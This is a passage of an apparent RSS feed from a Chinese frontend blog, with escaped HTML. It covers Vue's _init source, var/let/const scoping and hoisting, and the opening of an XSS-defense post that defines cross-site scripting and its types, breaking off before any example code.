&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;lifecycleMixin&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;);&lt;span style="color:#75715e"&gt;// 定义 _update $forceUpdate $destroy
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;renderMixin&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 定义 _render 返回虚拟dom
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;首先可以看&lt;code&gt;initMixin&lt;/code&gt;方法，发现该方法在&lt;code&gt;Vue&lt;/code&gt;原型上定义了&lt;code&gt;_init&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;源码位置：src\core\instance\init.js&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_init&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;&lt;span style="color:#f92672"&gt;?:&lt;/span&gt; Object) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// a uid
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_uid&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uid&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;startTag&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;endTag&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* istanbul ignore if */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;env&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;NODE_ENV&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;production&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;config&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;performance&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mark&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;startTag&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`vue-perf-start:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_uid&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;endTag&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`vue-perf-end:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_uid&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mark&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;startTag&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// a flag to avoid this being observed
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_isVue&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// merge options
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 合并属性，判断初始化的是否是组件，这里合并主要是 mixins 或 extends 的方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_isComponent&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// optimize internal component instantiation
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// since dynamic options merging is pretty slow, and none of the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// internal component options needs special treatment.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initInternalComponent&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; { &lt;span style="color:#75715e"&gt;// 合并vue属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;$options&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mergeOptions&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resolveConstructorOptions&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;options&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* istanbul ignore else */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;env&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;NODE_ENV&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;production&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化proxy拦截器
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initProxy&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_renderProxy&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// expose real self
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_self&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化组件生命周期标志位
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initLifecycle&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化组件事件侦听
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initEvents&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化渲染方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initRender&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callHook&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;beforeCreate&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化依赖注入内容，在初始化data、props之前
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initInjections&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// resolve injections before data/props
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化props/data/method/watch/methods
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initState&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;initProvide&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// resolve provide after data/props
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callHook&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;created&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* istanbul ignore if */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;env&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;NODE_ENV&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;production&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;config&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;performance&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mark&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;formatComponentName&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mark&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;endTag&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;measure&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`vue &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_name&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt; init`&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;startTag&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;endTag&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 挂载元素
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;$options&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;$mount&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;$options&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;仔细阅读上面的代码，我们得到以下结论：&lt;/p&gt;</description></item><item><title>Let/Const</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/let-const/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/let-const/</guid><description>&lt;h2 id="var"&gt;Var&lt;/h2&gt;
&lt;p&gt;在 ES6 出现之前，必须使用 &lt;code&gt;var&lt;/code&gt; 声明。但是，前端开发出现的一些问题与使用 &lt;code&gt;var&lt;/code&gt; 声明的变量有关。这就是为什么必须要有新的方法来声明变量。首先，让我们在讨论这些问题之前更多地了解 &lt;code&gt;var&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="var-的作用域"&gt;var 的作用域&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;作用域&lt;/strong&gt;本质上是指变量/函数可供访问的范围。&lt;code&gt;var&lt;/code&gt;可以在全局范围声明或函数/局部范围内声明。&lt;/p&gt;
&lt;p&gt;当在最外层函数的外部声明&lt;code&gt;var&lt;/code&gt;变量时，作用域是全局的。这意味着在最外层函数的外部用&lt;code&gt;var&lt;/code&gt;声明的任何变量都可以在&lt;code&gt;windows&lt;/code&gt;中使用。&lt;/p&gt;
&lt;p&gt;当在函数中声明&lt;code&gt;var&lt;/code&gt;时，作用域是局部的。这意味着它只能在函数内访问。&lt;/p&gt;
&lt;p&gt;要进一步了解，请查看下面的示例。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hey hi&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function newFunction() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; hello &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里，&lt;code&gt;greeter&lt;/code&gt;是全局范围的，因为它存在于函数外部，而&lt;code&gt;hello&lt;/code&gt;是函数范围的。因此，我们无法在函数外部访问变量&lt;code&gt;hello&lt;/code&gt;。因此，如果我们这样做：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; tester &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hey hi&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function newFunction() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; hello &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console&lt;span style="color:#f92672"&gt;.&lt;/span&gt;log(hello); &lt;span style="color:#f92672"&gt;//&lt;/span&gt; error: hello is &lt;span style="color:#f92672"&gt;not&lt;/span&gt; defined
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们会收到错误消息，这是由于函数外部没有&lt;code&gt;hello&lt;/code&gt;导致的。&lt;/p&gt;
&lt;h3 id="var-变量可以重新声明和修改"&gt;var 变量可以重新声明和修改&lt;/h3&gt;
&lt;p&gt;这意味着我们可以在相同的作用域内执行下面的操作，并且不会出错&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hey hi&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;say Hello instead&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;又比如&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hey hi&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;say Hello instead&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="var-的变量提升"&gt;var 的变量提升&lt;/h3&gt;
&lt;p&gt;变量提升是 JavaScript 的一种机制:在执行代码之前，变量和函数声明会移至其作用域的顶部。这意味着如果我们这样做:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console&lt;span style="color:#f92672"&gt;.&lt;/span&gt;log(greeter);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;say hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;生面的代码会被解释为:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; greeter;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console&lt;span style="color:#f92672"&gt;.&lt;/span&gt;log(greeter); &lt;span style="color:#f92672"&gt;//&lt;/span&gt; greeter is undefined
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;greeter &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;say hello&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因此，将&lt;code&gt;var&lt;/code&gt;声明的变量会被提升到其作用域的顶部，并使用 undefined 值对其进行初始化.&lt;/p&gt;</description></item><item><title>XSS防御</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-001/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-001/</guid><description>&lt;h2 id="一简述"&gt;一、简述&lt;/h2&gt;
&lt;p&gt;跨站脚本（Cross-site scripting，简称为：CSS, 但这会与层叠样式表（Cascading Style Sheets，CSS）的缩写混淆。因此，跨站脚本攻击缩写为XSS）是一种网站应用程序的安全漏洞攻击。&lt;/p&gt;
&lt;p&gt;XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。&lt;/p&gt;
&lt;h2 id="二xss类型"&gt;二、XSS类型&lt;/h2&gt;
&lt;p&gt;最常见的几种分类：&lt;strong&gt;反射型（非持久型）XSS&lt;/strong&gt;、&lt;strong&gt;存储型（持久型）XSS&lt;/strong&gt;、&lt;strong&gt;DOM型XSS&lt;/strong&gt;、&lt;strong&gt;通用型XSS&lt;/strong&gt;、&lt;strong&gt;突变型XSS&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="反射型xss"&gt;反射型XSS&lt;/h3&gt;
&lt;p&gt;反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器，要利用这个漏洞，攻击者必须以某种方式诱导用户访问一个精心设计的URL（恶意链接），才能实施攻击。&lt;/p&gt;
&lt;p&gt;举例来说，当一个网站的代码中包含类似下面的语句:&lt;/p&gt;
